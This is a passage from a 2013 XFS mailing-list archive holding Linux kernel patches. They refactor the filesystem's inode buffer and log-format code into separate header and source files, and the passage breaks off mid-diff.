xfs_end_cksum(crc); -} - -/* - * Read the disk inode attributes into the in-core inode structure. - * - * If we are initialising a new inode and we are not utilising the - * XFS_MOUNT_IKEEP inode cluster mode, we can simple build the new inode core - * with a random generation number. If we are keeping inodes around, we need to - * read the inode cluster to get the existing generation number off disk. - */ -int -xfs_iread( - xfs_mount_t *mp, - xfs_trans_t *tp, - xfs_inode_t *ip, - uint iget_flags) -{ - xfs_buf_t *bp; - xfs_dinode_t *dip; - int error; - - /* - * Fill in the location information in the in-core inode. - */ - error = xfs_imap(mp, tp, ip->i_ino, &ip->i_imap, iget_flags); - if (error) - return error; - - /* shortcut IO on inode allocation if possible */ - if ((iget_flags & XFS_IGET_CREATE) && - !(mp->m_flags & XFS_MOUNT_IKEEP)) { - /* initialise the on-disk inode core */ - memset(&ip->i_d, 0, sizeof(ip->i_d)); - ip->i_d.di_magic = XFS_DINODE_MAGIC; - ip->i_d.di_gen = prandom_u32(); - if (xfs_sb_version_hascrc(&mp->m_sb)) { - ip->i_d.di_version = 3; - ip->i_d.di_ino = ip->i_ino; - uuid_copy(&ip->i_d.di_uuid, &mp->m_sb.sb_uuid); - } else - ip->i_d.di_version = 2; - return 0; - } - - /* - * Get pointers to the on-disk inode and the buffer containing it. - */ - error = xfs_imap_to_bp(mp, tp, &ip->i_imap, &dip, &bp, 0, iget_flags); - if (error) - return error; - - /* even unallocated inodes are verified */ - if (!xfs_dinode_verify(mp, ip, dip)) { - xfs_alert(mp, "%s: validation failed for inode %lld failed", - __func__, ip->i_ino); - - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, dip); - error = XFS_ERROR(EFSCORRUPTED); - goto out_brelse; - } - - /* - * If the on-disk inode is already linked to a directory - * entry, copy all of the inode into the in-core inode. - * xfs_iformat_fork() handles copying in the inode format - * specific information. - * Otherwise, just get the truly permanent information. - */ - if (dip->di_mode) { - xfs_dinode_from_disk(&ip->i_d, dip); - error = xfs_iformat_fork(ip, dip); - if (error) { -#ifdef DEBUG - xfs_alert(mp, "%s: xfs_iformat() returned error %d", - __func__, error); -#endif /* DEBUG */ - goto out_brelse; - } - } else { - /* - * Partial initialisation of the in-core inode. Just the bits - * that xfs_ialloc won't overwrite or relies on being correct. - */ - ip->i_d.di_magic = be16_to_cpu(dip->di_magic); - ip->i_d.di_version = dip->di_version; - ip->i_d.di_gen = be32_to_cpu(dip->di_gen); - ip->i_d.di_flushiter = be16_to_cpu(dip->di_flushiter); - - if (dip->di_version == 3) { - ip->i_d.di_ino = be64_to_cpu(dip->di_ino); - uuid_copy(&ip->i_d.di_uuid, &dip->di_uuid); - } - - /* - * Make sure to pull in the mode here as well in - * case the inode is released without being used. - * This ensures that xfs_inactive() will see that - * the inode is already free and not try to mess - * with the uninitialized part of it. - */ - ip->i_d.di_mode = 0; - } - - /* - * The inode format changed when we moved the link count and - * made it 32 bits long. If this is an old format inode, - * convert it in memory to look like a new one. If it gets - * flushed to disk we will convert back before flushing or - * logging it. We zero out the new projid field and the old link - * count field. We'll handle clearing the pad field (the remains - * of the old uuid field) when we actually convert the inode to - * the new format. We don't change the version number so that we - * can distinguish this from a real new format inode. - */ - if (ip->i_d.di_version == 1) { - ip->i_d.di_nlink = ip->i_d.di_onlink; - ip->i_d.di_onlink = 0; - xfs_set_projid(ip, 0); - } - - ip->i_delayed_blks = 0; - - /* - * Mark the buffer containing the inode as something to keep - * around for a while. This helps to keep recently accessed - * meta-data in-core longer. - */ - xfs_buf_set_ref(bp, XFS_INO_REF); - - /* - * Use xfs_trans_brelse() to release the buffer containing the on-disk - * inode, because it was acquired with xfs_trans_read_buf() in - * xfs_imap_to_bp() above. If tp is NULL, this is just a normal - * brelse(). If we're within a transaction, then xfs_trans_brelse() - * will only release the buffer if it is not dirty within the - * transaction. It will be OK to release the buffer in this case, - * because inodes on disk are never destroyed and we will be locking the - * new in-core inode before putting it in the cache where other - * processes can find it. Thus we don't have to worry about the inode - * being changed just because we released the buffer. - */ - out_brelse: - xfs_trans_brelse(tp, bp); - return error; -} - /* * Allocate an inode on disk and return a copy of its in-core version. * The in-core inode is locked exclusively. Set mode, nlink, and rdev diff --git a/fs/xfs/xfs_inode.h b/fs/xfs/xfs_inode.h index 0bd034a..8f775ed 100644 --- a/fs/xfs/xfs_inode.h +++ b/fs/xfs/xfs_inode.h @@ -18,24 +18,15 @@ #ifndef __XFS_INODE_H__ #define __XFS_INODE_H__ -struct posix_acl; -struct xfs_dinode; -struct xfs_inode; - +#include "xfs_inode_buf.h" #include "xfs_inode_fork.h" /* - * Inode location information. Stored in the inode and passed to - * xfs_imap_to_bp() to get a buffer and dinode for a given inode. + * Kernel only inode definitions */ -struct xfs_imap { - xfs_daddr_t im_blkno; /* starting BB of inode chunk */ - ushort im_len; /* length in BBs of inode chunk */ - ushort im_boffset; /* inode offset in block in bytes */ -}; - -#ifdef __KERNEL__ +struct xfs_dinode; +struct xfs_inode; struct xfs_buf; struct xfs_bmap_free; struct xfs_bmbt_irec; @@ -347,7 +338,10 @@ int xfs_itruncate_extents(struct xfs_trans **, struct xfs_inode *, int xfs_iunlink(struct xfs_trans *, xfs_inode_t *); void xfs_iext_realloc(xfs_inode_t *, int, int); + void xfs_iunpin_wait(xfs_inode_t *); +#define xfs_ipincount(ip) ((unsigned int) atomic_read(&ip->i_pincount)) + int xfs_iflush(struct xfs_inode *, struct xfs_buf **); void xfs_lock_inodes(xfs_inode_t **, int, uint); void xfs_lock_two_inodes(xfs_inode_t *, xfs_inode_t *, uint); @@ -367,27 +361,6 @@ do { \ iput(VFS_I(ip)); \ } while (0) -#endif /* __KERNEL__ */ - -int xfs_imap_to_bp(struct xfs_mount *, struct xfs_trans *, - struct xfs_imap *, struct xfs_dinode **, - struct xfs_buf **, uint, uint); -int xfs_iread(struct xfs_mount *, struct xfs_trans *, - struct xfs_inode *, uint); -void xfs_dinode_calc_crc(struct xfs_mount *, struct xfs_dinode *); -void xfs_dinode_to_disk(struct xfs_dinode *, - struct xfs_icdinode *); -bool xfs_can_free_eofblocks(struct xfs_inode *, bool); - -#define xfs_ipincount(ip) ((unsigned int) atomic_read(&ip->i_pincount)) - -#if defined(DEBUG) -void xfs_inobp_check(struct xfs_mount *, struct xfs_buf *); -#else -#define xfs_inobp_check(mp, bp) -#endif /* DEBUG */ - extern struct kmem_zone *xfs_inode_zone; -extern const struct xfs_buf_ops xfs_inode_buf_ops; #endif /* __XFS_INODE_H__ */ diff --git a/fs/xfs/xfs_inode_buf.c b/fs/xfs/xfs_inode_buf.c new file mode 100644 index 0000000..4abbaf3 --- /dev/null +++ b/fs/xfs/xfs_inode_buf.c @@ -0,0 +1,444 @@ +/* + * Copyright (c) 2000-2006 Silicon Graphics, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#include "xfs.h" +#include "xfs_fs.h" +#include "xfs_format.h" +#include "xfs_log.h" +#include "xfs_trans.h" +#include "xfs_sb.h" +#include "xfs_ag.h" +#include "xfs_mount.h" +#include "xfs_bmap_btree.h" +#include "xfs_ialloc_btree.h" +#include "xfs_dinode.h" +#include "xfs_inode.h" +#include "xfs_error.h" +#include "xfs_cksum.h" +#include "xfs_icache.h" +#include "xfs_ialloc.h" + +/* + * Check that none of the inode's in the buffer have a next + * unlinked field of 0. + */ +#if defined(DEBUG) +void +xfs_inobp_check( + xfs_mount_t *mp, + xfs_buf_t *bp) +{ + int i; + int j; + xfs_dinode_t *dip; + + j = mp->m_inode_cluster_size >> mp->m_sb.sb_inodelog; + + for (i = 0; i < j; i++) { + dip = (xfs_dinode_t *)xfs_buf_offset(bp, + i * mp->m_sb.sb_inodesize); + if (!dip->di_next_unlinked) { + xfs_alert(mp, + "Detected bogus zero next_unlinked field in incore inode buffer 0x%p.", + bp); + ASSERT(dip->di_next_unlinked); + } + } +} +#endif + +static void +xfs_inode_buf_verify( + struct xfs_buf *bp) +{ + struct xfs_mount *mp = bp->b_target->bt_mount; + int i; + int ni; + + /* + * Validate the magic number and version of every inode in the buffer + */ + ni = XFS_BB_TO_FSB(mp, bp->b_length) * mp->m_sb.sb_inopblock; + for (i = 0; i < ni; i++) { + int di_ok; + xfs_dinode_t *dip; + + dip = (struct xfs_dinode *)xfs_buf_offset(bp, + (i << mp->m_sb.sb_inodelog)); + di_ok = dip->di_magic == cpu_to_be16(XFS_DINODE_MAGIC) && + XFS_DINODE_GOOD_VERSION(dip->di_version); + if (unlikely(XFS_TEST_ERROR(!di_ok, mp, + XFS_ERRTAG_ITOBP_INOTOBP, + XFS_RANDOM_ITOBP_INOTOBP))) { + xfs_buf_ioerror(bp, EFSCORRUPTED); + XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_HIGH, + mp, dip); +#ifdef DEBUG + xfs_emerg(mp, + "bad inode magic/vsn daddr %lld #%d (magic=%x)", + (unsigned long long)bp->b_bn, i, + be16_to_cpu(dip->di_magic)); + ASSERT(0); +#endif + } + } + xfs_inobp_check(mp, bp); +} + +static void +xfs_inode_buf_read_verify( + struct xfs_buf *bp) +{ + xfs_inode_buf_verify(bp); +} + +static void +xfs_inode_buf_write_verify( + struct xfs_buf *bp) +{ + xfs_inode_buf_verify(bp); +} + +const struct xfs_buf_ops xfs_inode_buf_ops = { + .verify_read = xfs_inode_buf_read_verify, + .verify_write = xfs_inode_buf_write_verify, +}; + +/* + * This routine is called to map an inode to the buffer containing the on-disk + * version of the inode. It returns a pointer to the buffer containing the + * on-disk inode in the bpp parameter, and in the dipp parameter it returns a + * pointer to the on-disk inode within that buffer. + * + * If a non-zero error is returned, then the contents of bpp and dipp are + * undefined. + */ +int +xfs_imap_to_bp( + struct xfs_mount *mp, + struct xfs_trans *tp, + struct xfs_imap *imap, + struct xfs_dinode **dipp, + struct xfs_buf **bpp, + uint buf_flags, + uint iget_flags) +{ + struct xfs_buf *bp; + int error; + + buf_flags |= XBF_UNMAPPED; + error = xfs_trans_read_buf(mp, tp, mp->m_ddev_targp, imap->im_blkno, + (int)imap->im_len, buf_flags, &bp, + &xfs_inode_buf_ops); + if (error) { + if (error == EAGAIN) { + ASSERT(buf_flags & XBF_TRYLOCK); + return error; + } + + if (error == EFSCORRUPTED && + (iget_flags & XFS_IGET_UNTRUSTED)) + return XFS_ERROR(EINVAL); + + xfs_warn(mp, "%s: xfs_trans_read_buf() returned error %d.", + __func__, error); + return error; + } + + *bpp = bp; + *dipp = (struct xfs_dinode *)xfs_buf_offset(bp, imap->im_boffset); + return 0; +} + +STATIC void +xfs_dinode_from_disk( + xfs_icdinode_t *to, + xfs_dinode_t *from) +{ + to->di_magic = be16_to_cpu(from->di_magic); + to->di_mode = be16_to_cpu(from->di_mode); + to->di_version = from ->di_version; + to->di_format = from->di_format; + to->di_onlink = be16_to_cpu(from->di_onlink); + to->di_uid = be32_to_cpu(from->di_uid); + to->di_gid = be32_to_cpu(from->di_gid); + to->di_nlink = be32_to_cpu(from->di_nlink); + to->di_projid_lo = be16_to_cpu(from->di_projid_lo); + to->di_projid_hi = be16_to_cpu(from->di_projid_hi); + memcpy(to->di_pad, from->di_pad, sizeof(to->di_pad)); + to->di_flushiter = be16_to_cpu(from->di_flushiter); + to->di_atime.t_sec = be32_to_cpu(from->di_atime.t_sec); + to->di_atime.t_nsec = be32_to_cpu(from->di_atime.t_nsec); + to->di_mtime.t_sec = be32_to_cpu(from->di_mtime.t_sec); + to->di_mtime.t_nsec = be32_to_cpu(from->di_mtime.t_nsec); + to->di_ctime.t_sec = be32_to_cpu(from->di_ctime.t_sec); + to->di_ctime.t_nsec = be32_to_cpu(from->di_ctime.t_nsec); + to->di_size = be64_to_cpu(from->di_size); + to->di_nblocks = be64_to_cpu(from->di_nblocks); + to->di_extsize = be32_to_cpu(from->di_extsize); + to->di_nextents = be32_to_cpu(from->di_nextents); + to->di_anextents = be16_to_cpu(from->di_anextents); + to->di_forkoff = from->di_forkoff; + to->di_aformat = from->di_aformat; + to->di_dmevmask = be32_to_cpu(from->di_dmevmask); + to->di_dmstate = be16_to_cpu(from->di_dmstate); + to->di_flags = be16_to_cpu(from->di_flags); + to->di_gen = be32_to_cpu(from->di_gen); + + if (to->di_version == 3) { + to->di_changecount = be64_to_cpu(from->di_changecount); + to->di_crtime.t_sec = be32_to_cpu(from->di_crtime.t_sec); + to->di_crtime.t_nsec = be32_to_cpu(from->di_crtime.t_nsec); + to->di_flags2 = be64_to_cpu(from->di_flags2); + to->di_ino = be64_to_cpu(from->di_ino); + to->di_lsn = be64_to_cpu(from->di_lsn); + memcpy(to->di_pad2, from->di_pad2, sizeof(to->di_pad2)); + uuid_copy(&to->di_uuid, &from->di_uuid); + } +} + +void +xfs_dinode_to_disk( + xfs_dinode_t *to, + xfs_icdinode_t *from) +{ + to->di_magic = cpu_to_be16(from->di_magic); + to->di_mode = cpu_to_be16(from->di_mode); + to->di_version = from ->di_version; + to->di_format = from->di_format; + to->di_onlink = cpu_to_be16(from->di_onlink); + to->di_uid = cpu_to_be32(from->di_uid); + to->di_gid = cpu_to_be32(from->di_gid); + to->di_nlink = cpu_to_be32(from->di_nlink); + to->di_projid_lo = cpu_to_be16(from->di_projid_lo); + to->di_projid_hi = cpu_to_be16(from->di_projid_hi); + memcpy(to->di_pad, from->di_pad, sizeof(to->di_pad)); + to->di_flushiter = cpu_to_be16(from->di_flushiter); + to->di_atime.t_sec = cpu_to_be32(from->di_atime.t_sec); + to->di_atime.t_nsec = cpu_to_be32(from->di_atime.t_nsec); + to->di_mtime.t_sec = cpu_to_be32(from->di_mtime.t_sec); + to->di_mtime.t_nsec = cpu_to_be32(from->di_mtime.t_nsec); + to->di_ctime.t_sec = cpu_to_be32(from->di_ctime.t_sec); + to->di_ctime.t_nsec = cpu_to_be32(from->di_ctime.t_nsec); + to->di_size = cpu_to_be64(from->di_size); + to->di_nblocks = cpu_to_be64(from->di_nblocks); + to->di_extsize = cpu_to_be32(from->di_extsize); + to->di_nextents = cpu_to_be32(from->di_nextents); + to->di_anextents = cpu_to_be16(from->di_anextents); + to->di_forkoff = from->di_forkoff; + to->di_aformat = from->di_aformat; + to->di_dmevmask = cpu_to_be32(from->di_dmevmask); + to->di_dmstate = cpu_to_be16(from->di_dmstate); + to->di_flags = cpu_to_be16(from->di_flags); + to->di_gen = cpu_to_be32(from->di_gen); + + if (from->di_version == 3) { + to->di_changecount = cpu_to_be64(from->di_changecount); + to->di_crtime.t_sec = cpu_to_be32(from->di_crtime.t_sec); + to->di_crtime.t_nsec = cpu_to_be32(from->di_crtime.t_nsec); + to->di_flags2 = cpu_to_be64(from->di_flags2); + to->di_ino = cpu_to_be64(from->di_ino); + to->di_lsn = cpu_to_be64(from->di_lsn); + memcpy(to->di_pad2, from->di_pad2, sizeof(to->di_pad2)); + uuid_copy(&to->di_uuid, &from->di_uuid); + } +} + +static bool +xfs_dinode_verify( + struct xfs_mount *mp, + struct xfs_inode *ip, + struct xfs_dinode *dip) +{ + if (dip->di_magic != cpu_to_be16(XFS_DINODE_MAGIC)) + return false; + + /* only version 3 or greater inodes are extensively verified here */ + if (dip->di_version < 3) + return true; + + if (!xfs_sb_version_hascrc(&mp->m_sb)) + return false; + if (!xfs_verify_cksum((char *)dip, mp->m_sb.sb_inodesize, + offsetof(struct xfs_dinode, di_crc))) + return false; + if (be64_to_cpu(dip->di_ino) != ip->i_ino) + return false; + if (!uuid_equal(&dip->di_uuid, &mp->m_sb.sb_uuid)) + return false; + return true; +} + +void +xfs_dinode_calc_crc( + struct xfs_mount *mp, + struct xfs_dinode *dip) +{ + __uint32_t crc; + + if (dip->di_version < 3) + return; + + ASSERT(xfs_sb_version_hascrc(&mp->m_sb)); + crc = xfs_start_cksum((char *)dip, mp->m_sb.sb_inodesize, + offsetof(struct xfs_dinode, di_crc)); + dip->di_crc = xfs_end_cksum(crc); +} + +/* + * Read the disk inode attributes into the in-core inode structure. + * + * If we are initialising a new inode and we are not utilising the + * XFS_MOUNT_IKEEP inode cluster mode, we can simple build the new inode core + * with a random generation number. If we are keeping inodes around, we need to + * read the inode cluster to get the existing generation number off disk. + */ +int +xfs_iread( + xfs_mount_t *mp, + xfs_trans_t *tp, + xfs_inode_t *ip, + uint iget_flags) +{ + xfs_buf_t *bp; + xfs_dinode_t *dip; + int error; + + /* + * Fill in the location information in the in-core inode. + */ + error = xfs_imap(mp, tp, ip->i_ino, &ip->i_imap, iget_flags); + if (error) + return error; + + /* shortcut IO on inode allocation if possible */ + if ((iget_flags & XFS_IGET_CREATE) && + !(mp->m_flags & XFS_MOUNT_IKEEP)) { + /* initialise the on-disk inode core */ + memset(&ip->i_d, 0, sizeof(ip->i_d)); + ip->i_d.di_magic = XFS_DINODE_MAGIC; + ip->i_d.di_gen = prandom_u32(); + if (xfs_sb_version_hascrc(&mp->m_sb)) { + ip->i_d.di_version = 3; + ip->i_d.di_ino = ip->i_ino; + uuid_copy(&ip->i_d.di_uuid, &mp->m_sb.sb_uuid); + } else + ip->i_d.di_version = 2; + return 0; + } + + /* + * Get pointers to the on-disk inode and the buffer containing it. + */ + error = xfs_imap_to_bp(mp, tp, &ip->i_imap, &dip, &bp, 0, iget_flags); + if (error) + return error; + + /* even unallocated inodes are verified */ + if (!xfs_dinode_verify(mp, ip, dip)) { + xfs_alert(mp, "%s: validation failed for inode %lld failed", + __func__, ip->i_ino); + + XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, dip); + error = XFS_ERROR(EFSCORRUPTED); + goto out_brelse; + } + + /* + * If the on-disk inode is already linked to a directory + * entry, copy all of the inode into the in-core inode. + * xfs_iformat_fork() handles copying in the inode format + * specific information. + * Otherwise, just get the truly permanent information. + */ + if (dip->di_mode) { + xfs_dinode_from_disk(&ip->i_d, dip); + error = xfs_iformat_fork(ip, dip); + if (error) { +#ifdef DEBUG + xfs_alert(mp, "%s: xfs_iformat() returned error %d", + __func__, error); +#endif /* DEBUG */ + goto out_brelse; + } + } else { + /* + * Partial initialisation of the in-core inode. Just the bits + * that xfs_ialloc won't overwrite or relies on being correct. + */ + ip->i_d.di_magic = be16_to_cpu(dip->di_magic); + ip->i_d.di_version = dip->di_version; + ip->i_d.di_gen = be32_to_cpu(dip->di_gen); + ip->i_d.di_flushiter = be16_to_cpu(dip->di_flushiter); + + if (dip->di_version == 3) { + ip->i_d.di_ino = be64_to_cpu(dip->di_ino); + uuid_copy(&ip->i_d.di_uuid, &dip->di_uuid); + } + + /* + * Make sure to pull in the mode here as well in + * case the inode is released without being used. + * This ensures that xfs_inactive() will see that + * the inode is already free and not try to mess + * with the uninitialized part of it. + */ + ip->i_d.di_mode = 0; + } + + /* + * The inode format changed when we moved the link count and + * made it 32 bits long. If this is an old format inode, + * convert it in memory to look like a new one. If it gets + * flushed to disk we will convert back before flushing or + * logging it. We zero out the new projid field and the old link + * count field. We'll handle clearing the pad field (the remains + * of the old uuid field) when we actually convert the inode to + * the new format. We don't change the version number so that we + * can distinguish this from a real new format inode. + */ + if (ip->i_d.di_version == 1) { + ip->i_d.di_nlink = ip->i_d.di_onlink; + ip->i_d.di_onlink = 0; + xfs_set_projid(ip, 0); + } + + ip->i_delayed_blks = 0; + + /* + * Mark the buffer containing the inode as something to keep + * around for a while. This helps to keep recently accessed + * meta-data in-core longer. + */ + xfs_buf_set_ref(bp, XFS_INO_REF); + + /* + * Use xfs_trans_brelse() to release the buffer containing the on-disk + * inode, because it was acquired with xfs_trans_read_buf() in + * xfs_imap_to_bp() above. If tp is NULL, this is just a normal + * brelse(). If we're within a transaction, then xfs_trans_brelse() + * will only release the buffer if it is not dirty within the + * transaction. It will be OK to release the buffer in this case, + * because inodes on disk are never destroyed and we will be locking the + * new in-core inode before putting it in the cache where other + * processes can find it. Thus we don't have to worry about the inode + * being changed just because we released the buffer. + */ + out_brelse: + xfs_trans_brelse(tp, bp); + return error; +} diff --git a/fs/xfs/xfs_inode_buf.h b/fs/xfs/xfs_inode_buf.h new file mode 100644 index 0000000..b5f1e22 --- /dev/null +++ b/fs/xfs/xfs_inode_buf.h @@ -0,0 +1,53 @@ +/* + * Copyright (c) 2000-2003,2005 Silicon Graphics, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#ifndef __XFS_INODE_BUF_H__ +#define __XFS_INODE_BUF_H__ + +struct xfs_inode; +struct xfs_dinode; +struct xfs_icdinode; + +/* + * Inode location information. Stored in the inode and passed to + * xfs_imap_to_bp() to get a buffer and dinode for a given inode. + */ +struct xfs_imap { + xfs_daddr_t im_blkno; /* starting BB of inode chunk */ + ushort im_len; /* length in BBs of inode chunk */ + ushort im_boffset; /* inode offset in block in bytes */ +}; + +int xfs_imap_to_bp(struct xfs_mount *, struct xfs_trans *, + struct xfs_imap *, struct xfs_dinode **, + struct xfs_buf **, uint, uint); +int xfs_iread(struct xfs_mount *, struct xfs_trans *, + struct xfs_inode *, uint); +void xfs_dinode_calc_crc(struct xfs_mount *, struct xfs_dinode *); +void xfs_dinode_to_disk(struct xfs_dinode *, + struct xfs_icdinode *); +bool xfs_can_free_eofblocks(struct xfs_inode *, bool); + +#if defined(DEBUG) +void xfs_inobp_check(struct xfs_mount *, struct xfs_buf *); +#else +#define xfs_inobp_check(mp, bp) +#endif /* DEBUG */ + +extern const struct xfs_buf_ops xfs_inode_buf_ops; + +#endif /* __XFS_INODE_BUF_H__ */ -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:27:10 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 451347FE2 for ; Fri, 19 Jul 2013 01:26:04 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 085CE30404E for ; Thu, 18 Jul 2013 23:26:03 -0700 (PDT) X-ASG-Debug-ID: 1374215134-04bdf0245d189c50010-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id IaErl3sdb4TPBhny for ; Thu, 18 Jul 2013 23:26:01 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AroLAB3b6FF5LK4r/2dsb2JhbABagwbBRgSBFhd0giQBAQUnLzMIGBkYOQMbGYgPti+OcoE2DINeA6kqgyQqgTU Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 15:55:54 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V0482-00047v-I6 for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:22 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V0482-0001wk-GP for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:25:22 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 02/49] xfs: split out inode log item format definition Date: Fri, 19 Jul 2013 16:24:33 +1000 X-ASG-Orig-Subj: [PATCH 02/49] xfs: split out inode log item format definition Message-Id: <1374215120-7271-3-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374215120-7271-1-git-send-email-david@fromorbit.com> References: <1374215120-7271-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374215161 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Th elog item format definitions are shared with userspace. split the out of header files that contain kernel only defintions to make it simple to shared them. Signed-off-by: Dave Chinner --- fs/xfs/xfs_acl.c | 1 + fs/xfs/xfs_filestream.c | 2 +- fs/xfs/xfs_inode.h | 69 ------------------ fs/xfs/xfs_inode_item.h | 115 +---------------------------- fs/xfs/xfs_log_format.h | 189 ++++++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_types.h | 6 ++ fs/xfs/xfs_xattr.c | 1 + 7 files changed, 200 insertions(+), 183 deletions(-) diff --git a/fs/xfs/xfs_acl.c b/fs/xfs/xfs_acl.c index 306d883..695606a 100644 --- a/fs/xfs/xfs_acl.c +++ b/fs/xfs/xfs_acl.c @@ -16,6 +16,7 @@ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ #include "xfs.h" +#include "xfs_log_format.h" #include "xfs_acl.h" #include "xfs_attr.h" #include "xfs_bmap_btree.h" diff --git a/fs/xfs/xfs_filestream.c b/fs/xfs/xfs_filestream.c index 5170306..9eae097 100644 --- a/fs/xfs/xfs_filestream.c +++ b/fs/xfs/xfs_filestream.c @@ -16,12 +16,12 @@ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ #include "xfs.h" +#include "xfs_log.h" #include "xfs_bmap_btree.h" #include "xfs_inum.h" #include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_ag.h" -#include "xfs_log.h" #include "xfs_trans.h" #include "xfs_sb.h" #include "xfs_mount.h" diff --git a/fs/xfs/xfs_inode.h b/fs/xfs/xfs_inode.h index b55fd34..de4f963 100644 --- a/fs/xfs/xfs_inode.h +++ b/fs/xfs/xfs_inode.h @@ -23,12 +23,6 @@ struct xfs_dinode; struct xfs_inode; /* - * Fork identifiers. - */ -#define XFS_DATA_FORK 0 -#define XFS_ATTR_FORK 1 - -/* * The following xfs_ext_irec_t struct introduces a second (top) level * to the in-core extent allocation scheme. These structs are allocated * in a contiguous block, creating an indirection array where each entry @@ -114,68 +108,6 @@ struct xfs_imap { * chain off the mount structure by xfs_sync calls. */ -typedef struct xfs_ictimestamp { - __int32_t t_sec; /* timestamp seconds */ - __int32_t t_nsec; /* timestamp nanoseconds */ -} xfs_ictimestamp_t; - -/* - * NOTE: This structure must be kept identical to struct xfs_dinode - * in xfs_dinode.h except for the endianness annotations. - */ -typedef struct xfs_icdinode { - __uint16_t di_magic; /* inode magic # = XFS_DINODE_MAGIC */ - __uint16_t di_mode; /* mode and type of file */ - __int8_t di_version; /* inode version */ - __int8_t di_format; /* format of di_c data */ - __uint16_t di_onlink; /* old number of links to file */ - __uint32_t di_uid; /* owner's user id */ - __uint32_t di_gid; /* owner's group id */ - __uint32_t di_nlink; /* number of links to file */ - __uint16_t di_projid_lo; /* lower part of owner's project id */ - __uint16_t di_projid_hi; /* higher part of owner's project id */ - __uint8_t di_pad[6]; /* unused, zeroed space */ - __uint16_t di_flushiter; /* incremented on flush */ - xfs_ictimestamp_t di_atime; /* time last accessed */ - xfs_ictimestamp_t di_mtime; /* time last modified */ - xfs_ictimestamp_t di_ctime; /* time created/inode modified */ - xfs_fsize_t di_size; /* number of bytes in file */ - xfs_drfsbno_t di_nblocks; /* # of direct & btree blocks used */ - xfs_extlen_t di_extsize; /* basic/minimum extent size for file */ - xfs_extnum_t di_nextents; /* number of extents in data fork */ - xfs_aextnum_t di_anextents; /* number of extents in attribute fork*/ - __uint8_t di_forkoff; /* attr fork offs, <<3 for 64b align */ - __int8_t di_aformat; /* format of attr fork's data */ - __uint32_t di_dmevmask; /* DMIG event mask */ - __uint16_t di_dmstate; /* DMIG state info */ - __uint16_t di_flags; /* random flags, XFS_DIFLAG_... */ - __uint32_t di_gen; /* generation number */ - - /* di_next_unlinked is the only non-core field in the old dinode */ - xfs_agino_t di_next_unlinked;/* agi unlinked list ptr */ - - /* start of the extended dinode, writable fields */ - __uint32_t di_crc; /* CRC of the inode */ - __uint64_t di_changecount; /* number of attribute changes */ - xfs_lsn_t di_lsn; /* flush sequence */ - __uint64_t di_flags2; /* more random flags */ - __uint8_t di_pad2[16]; /* more padding for future expansion */ - - /* fields only written to during inode creation */ - xfs_ictimestamp_t di_crtime; /* time created */ - xfs_ino_t di_ino; /* inode number */ - uuid_t di_uuid; /* UUID of the filesystem */ - - /* structure must be padded to 64 bit alignment */ -} xfs_icdinode_t; - -static inline uint xfs_icdinode_size(int version) -{ - if (version == 3) - return sizeof(struct xfs_icdinode); - return offsetof(struct xfs_icdinode, di_next_unlinked); -} - /* 